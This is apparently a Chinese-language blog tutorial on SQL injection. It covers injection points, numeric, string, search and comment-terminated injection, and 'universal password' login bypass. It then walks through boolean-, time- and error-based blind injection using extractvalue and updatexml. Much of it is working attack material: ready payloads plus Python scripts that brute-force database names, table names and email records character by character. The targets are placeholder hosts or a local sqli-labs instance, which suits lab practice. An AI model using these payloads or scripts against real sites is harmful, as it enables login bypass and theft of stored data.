sql注入種類以及測試方式和python腳本

sql 注入:

1.sql注入最重要的過程,單引號判斷注入最常見。

分爲三大類:get、post、cookie

簡單判斷get型:

http://host/test.php?id=100’ 返回錯誤說明有可能注入

http://host/test.php?id=100 and 1=1 返回正常

http://host/test.php?id=100 and 1=2返回錯誤

如果出現以上三種錯誤,基本盤判定爲注入點

#盲注中只會回顯錯誤或者正確,不會報錯

2.判斷注入類型

注入類型分爲:數字型,字符型,搜索型,內聯式,終止式。

數字型,傳入參數爲數字,回顯錯誤正確來判斷:

http://host/test.php?id=100 and 1=1 返回成功

http://host/test.php?id=100 and 1=2 返回失敗

也就是說,後臺sql語句查詢判斷傳入參數爲數字,不用閉合sql語句。

字符型,傳入閉合字符,查詢是否出錯:

http://host/test.php?name=man' and '1'='1 返回成功

http://host/test.php?name=man' and '1'='2返回失敗

這裏比上面多了 ‘ 所以判斷回顯正確錯誤,說明後臺查詢語句查詢的是字符串,進行sql注入的時候就需要傳入閉合來進行。

搜索型,借用like語句進行搜索,like中**%**爲通配符,由於進行了通配符的匹配無法進行正常的測試,依然是構造閉合條件來進行匹配:

SELECT * FROM news WHERE keyword like '%$keyword%'
這裏的$keyword是用戶的輸入
當我們輸入以下語句的時候 
pt%' and 1=1 and '%'=' 
最終我們得到的語句是這樣的 
SELECT * FROM news WHERE keyword like '%pt%' and 1=1 and '%'='%' 
這個語句又一次的閉合了

內聯型,指的是進行查詢的注入之後,原來的查詢依然在進行,也就是說,雖然有錯但是依然執行,需要注意的是,由於sql語句中使用了 AND 使得語句中錯誤一個返回的都爲錯誤,常見的就是登陸頁面,利用方法爲構造 OR 1 = 1 來進行繞過,但是一定要注意邏輯先後順序 SQL語句中AND運算優先級大於OR

SELECT * FROM admin WHER username='$name' AND password ='$passwd'

這個時候我們想辦法繞過AND,所以從password=’or 1 = 1,所謂的萬能密碼就是這種的繞過方式。

如果你從username輸入,就會導致:

SELECT * FROM admin WHER username = '' or '1'='1' AND password = ''
此時先進行 '1' = '1' AND password = ''的判斷,結果爲 0
然後進行 username = '' or 0 由於username 不可能爲空,所以此時爲 0 or 0 爲 0 最終顯示錯誤,所以萬能密碼叫做萬能密碼,不叫萬能賬號。

終止型,可以進行輸入註釋符來進行後面語句的註釋:

上面的題型,如果我們想要進行注入的話,我們需要註釋掉後面的 password 就能成功:

輸入:' or ''='' --
後臺查詢語句:SELECT * FROM admin WHER username='' or ''='' --' AND password ='fuzz'
只進行前兩個語句,AND 後面不進行,導致返回爲真

盲注:

盲注分爲三個類型:

基於布爾的盲注

基於時間的盲注

基於報錯的盲注

布爾類型盲注:

mysql 一些內置函數:

length()返回內容的字符串的長度
ascii() 返回字符的ascii碼
substr(str,start,end) 截取字符串

三步走:

0x00:爆庫

url and length(database())>0 #
// 最後的數字可以進行更換來確定庫名的長度。

當確定了庫名長度之後,利用python腳本來進行爆破。

import requests
def get_db_name():
 result = ""
 url_template = "url?id=2' and ascii(substr(database(),{0},1))>{1} %23"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,9):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #根據返回長度的不同來判斷字符正確與否
   if length>706:
    result += char
    break
 print(result)

0x01:爆表

url id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
依然是優先判斷表的長度

當判讀出表的長度的時候就可以使用python腳本繼續跑

import requests
def get_table_name():
 result = ""
 url_template = "url ?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23"#limit 內容的值限制了表的次序,例如第二張表名就切換爲 1,2)
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,7):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的長度只有706和722
   if length>706:
    result += char
    break
 print(result)

0x02:脫庫

脫庫之前先判斷 emails 表中的記錄數

url+?id=2' and (select count(*) from emails)>0 %23 #count函數用於查詢表內的記錄數

確定了表中的記錄數之後我們進行下一步的脫庫

url+id=2' and (select length(email_id) from emails limit 0,1)>15 %23

確定內容的長度。

py跑一下

def get_data():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23"
 chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
 for i in range(1,17):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的長度只有706和722
   if length>706:
    result += char
    break
 print(result)

另外就是使用sqlmap。

基於時間的盲注:

由於在進行數據庫查詢的時候線程跑的很快導致錯誤的搜索的運行時間爲0,所以我們利用sleep函數

select sleep(N),name from animals where name = 'tigey'

如果查詢錯誤,那麼回顯的運行時間就爲0,利用這個特性加上上面的payload修改一下就能得到新的payload。基於時間的盲注應用方面很廣泛,因爲很多網站在你測試的時候只會回顯一個錯誤,而不顯示錯誤原因以及其他情況。

這裏直接放一個大佬的腳本:

import urllib2
import time
import socket
import threading
import requests
class my_threading(threading.Thread):
    def __init__(self, str,x):
        threading.Thread.__init__(self)
        self.str = str
        self.x = x
    def run(self):
      global res
      x=self.x
      j = self.str
      url = "http://localhost/pentest/1.php?username=root'+and+if%281=%28mid%28lpad%28bin%28ord%28mid%28%28select%20user()%29," + str(x) + ",1%29%29%29,8,0%29,"+ str(j) + ",1%29%29,sleep%282%29,0%29%23"
      html = request(url)
      verify = 'timeout'
      if verify not in html:
        res[str(j)] = 0
        #print 1
      else:
        res[str(j)] = 1

def request(URL):
  user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
  req = urllib2.Request(URL, None, user_agent)
  try:
    request = urllib2.urlopen(req,timeout=2)
  except Exception ,e:
    time.sleep(2)
    return 'timeout'
  return request.read()
def curl(url):
  try:
      start = time.clock()
      requests.get(url)
      end = time.clock()
      return int(end)
  except requests.RequestException as e:
      print u"訪問出錯!"
      exit()
def getLength():
  i = 0
  while True:
    print "[+] Checking: %s \r" %i
    url = "http://localhost/pentest/1.php?username=root'+and+sleep(if(length((select%20user()))="+ str(i) +",1,0))%23"
    html = request(url)
    verify = 'timeout'
    if verify in html:
      print u"[+] 數據長度爲: %s" %i
      return i
    i = i + 1
def bin2dec(string_num):
  return int(string_num, 2)
def getData(dataLength):
  global res
  data = ""
  for x in range(dataLength):
    x = x + 1
    #print x
    threads = []
    for j in range(8):
      result = ""
      j = j + 1
      sb = my_threading(j,x)
      sb.setDaemon(True)
      threads.append(sb)
      #print j
    for t in threads:
        t.start()
    for t in threads:
        t.join()
    #print res
    tmp = ""
    for i in range(8):  
      tmp = tmp + str(res[str(i+1)])
    #print chr(bin2dec(tmp))
    res = {}
    result = chr(bin2dec(tmp))
    print result
    data = data + result
    sb = None
  print "[+] ok!"
  print "[+] result:" + data

if __name__ == '__main__':
  stop = False
  res = {}
  length = getLength()
  getData(length)

基於報錯的盲注:

輸入特定的函數讓數據庫報錯來顯示出來數據庫的版本號其他的等等。。

1.直接報錯

' union select 1,count(*),concat('/',(select @@datadir),'/',floor(rand(0)*2))a from information_schema.columns group by a--+ --限制返回值不能超過一行,並且在獲取多行的時候來用limit進行限制。

floor 函數使用來判斷內容存在的最小整數值。

2.使用xpath函數進行 extractvalue函數,

select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))

在目標XML文件中查找/x/xx內容,如果查詢錯誤額話就會回顯正確的數據庫的名稱。並且我們可以使用 concat函數來將database()和 **/**連起來構成新的內容:

select username from serurity.user where id=1 and (extractvalue('anything',concat('\\','select database()')))

新的查詢內容,由於=extractvalue函數只能傳入“\” 所以我們故意構造錯誤的語句來進行報錯。

select username from serurity.user where id=1 and (extractvalue('anything',concat('~','select database()')))

就會有錯誤的回顯,會顯示出正確的數據庫名稱。

3.使用updatexml()函數:

語法:updatexml(目標文件,xml路徑,更新的內容)

使用方式基本相同:

id = 1 and (updatexml('anything','/xx/xx/xx','anything'))

使用報錯方式也基本相同:利用concat 函數進行拼裝

id = 1 and (updatexml('anything',concat('~',(select database()),'anything')))

以上的所有方法都是基於沒有過濾,沒有waf的情況下,如何繞過waf,防止過濾,下節再說,並且不需要這麼麻煩,使用神器工具sqlmap找到注入點放進去sqlmap 梭哈一把就完事,下次講繞過waf,在下次說一下sqlmap的詳解。

To Be Continue…

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章